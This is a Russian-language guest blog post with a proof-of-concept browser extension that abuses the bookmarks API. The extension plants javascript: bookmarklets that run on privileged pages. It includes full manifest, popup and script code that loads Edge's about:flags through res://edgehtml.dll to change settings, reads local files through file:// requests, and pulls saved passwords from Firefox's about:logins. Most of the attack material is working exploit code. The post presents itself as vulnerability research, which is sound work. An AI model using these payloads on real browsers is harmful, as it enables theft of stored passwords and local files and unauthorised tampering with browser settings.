Гостевая статья Зловредная закладка в вашем браузере

Некоторое время назад я решил взглянуть на bookmarks API , доступный для расширений браузера. Этот API интересен для меня, потому что он позволяет играть с пользовательскими закладками, используя расширения браузера.

Если вы хотите узнать, как работают расширения и разрешения, посмотрите первую часть моего поста

Для работы с bookmarks API расширению браузера требуется разрешение делать закладки, прописанное в manifest файле.

Давайте создадим manifest файл , который имеет только разрешение на создание закладок, а это означает, что расширение сможет создавать, удалять и обновлять закладки только для исполнения кодов JavaScript.

manifest.json

JSON:
{
  "name": "Evil Edge Extension",
  "author": "@C0d3G33k",
  "description": "This Extension achive evil things!",
  "version": "1.0",
  "icons": {
    "25": "images/color-changer25.png",
    "48": "images/color-changer48.png"
  },
  "permissions": [
    "bookmarks"
  ],
  "browser_action": {
    "default_icon": {
      "20": "images/color-changer20.png",
      "40": "images/color-changer40.png"
    },
    "default_title": "Evil Extension",
    "default_popup": "popup.html"
  },
  "content_scripts": [{
    "matches": [
        "<all_urls>"
    ],
    "js": ["js/content.js"],
    "run_at": "document_end"
}],
  "background": {
    "scripts": ["/js/background.js"],
    "persistent": true
  }
}

Далее давайте создадим всплывающий файл по умолчанию, как определено в manifest файле

popup.html
HTML:
<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" type="text/css" href="css/styles.css" />
  </head>
  <body>
    
    <p>Evil Extension</p>
    <input id="b1" type="button" value="Open" />
    <input id="b2" type="button" value="Execute" />
    <script src="js/popup.js"></script>
  </body>
</html>

Давайте снова определим файл JS и создадим простую закладку в браузере

JavaScript:
let open = document.getElementById('b1');
let execute = document.getElementById('b2');


open.onclick = function() {
  browser.tabs.update    ({
      url: "https://www.google.com/"
  });
};

execute.onclick = function() {

  browser.bookmarks.create({
      title: "Google!",
      url: "https://www.google.com"
  });

};



Теперь интересно то, что большинству браузеров разрешено создавать букмарклеты, используя расширения браузера.

Букмарклет - это закладка, хранящаяся в веб-браузере и содержащая команды JavaScript. Основное назначение букмарклетов - всегда добавлять дополнительные функции в браузер.

Например, простое предупреждение, чтобы получить первый URL-адрес с текущей страницы

JavaScript:
execute.onclick = function() {

  browser.bookmarks.create({
      title: "Display first link!",
      url: "javascript:alert(document.getElementsByTagName('a')[0].href);"
  });

};



Разработчики браузеров достаточно умны, предоставляя так много функций, но что может пойти не так при таком подходе?

Помните ли вы о привилегированных страницах в браузерах, которые содержат так много конфиденциальной информации и настроек? который должен быть защищен от выполнения кода JavaScript

Как я упоминал в моем предыдущем посте, если вы попытаетесь напрямую загрузить about:flags в edge и попытаться выполнить букмарклеты, это не сработает.



Но у нас есть другие способы загрузки about: flags с использованием res:// URI, например res: //edgehtml.dll/flags.htm. Итак, давайте изменим наш код и попробуем снова

JavaScript:
let open = document.getElementById('b1');
let execute = document.getElementById('b2');

// to load about:flags

open.onclick = function() {
  browser.tabs.update    ({
      url: "res://edgehtml.dll/flags.htm"
  });
};

// to create bookmark

execute.onclick = function() {

  browser.bookmarks.create({
      title: "Evil BookMark!",
      url: "javascript:alert(window.location.href);"
  });

};



ok, это у нас хорошо получилось и это приводит к еще одной уязвимости повышения привилегий в Edge, и, следовательно, мы можем изменить настройки в about:flags, например:

Включение / отключение Adobe Flash Player

JavaScript:
let open = document.getElementById('b1');
let execute = document.getElementById('b2');

// to load about:flags

open.onclick = function() {
  browser.tabs.update    ({
      url: "res://edgehtml.dll/flags.htm"
  });
};

// to toggle adobe flash player flag

execute.onclick = function() {

  browser.bookmarks.create({
      title: "Evil BookMark!",
      url: "javascript:document.getElementById('BchostLocalhostLoopback').click();"
  });

};



Кража учетных данных пользователя в Firefox

Так как Edge не применяет SOP для файловых URI, поэтому, если открыты какие-либо локальные файлы, то зловредная закладка может украсть любые файлы из системы.

JavaScript:
execute.onclick = function() {

  browser.bookmarks.create({
      title: "Evil BookMark!!!!",
      url: "javascript:let xhr = new XMLHttpRequest();xhr.open('GET','file:///C:/Users/reach/Desktop/test.txt');xhr.send();setTimeout('alert(xhr.response)',3000)"
  });
 
};

Далее, давайте проверим и другие браузеры. В Firefox мы можем запускать букмарклеты со ссылкой на следующие страницы.

Код:
about:certificate
about:compat
about:library
about:logins
about:home
about:privatebrowsing
about:protections
about:studies
about:welcome

Кража учетных данных пользователя в Firefox

В Firefox about:logins содержит все сохраненные пароли, так как мы можем выполнить ссылку на код JavaScript, мы можем легко украсть все сохраненные логины, давайте изменим код и проверим.

JavaScript:
execute.onclick = function() {

  browser.bookmarks.create({
      title: "Evil BookMark!",
      url: "javascript:alert(document.all[30]._passwordInput.value)"
  });

};



Изменение настроек других расширений

В Firefox мы можем даже изменить настройки, связанные с другими установленными расширениями. Можете ли вы представить себе ситуацию, когда одно расширение в браузере может отключить функции другого?



Согласно моим тестам, Chrome защищен от этой уязвимости, поскольку он не допускает никаких закладок на привилегированных страницах.

Закладки также синхронизируются с другими подключенными устройствами, принадлежащими к той же учетной записи, что является другим возможным источником атаки.

 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!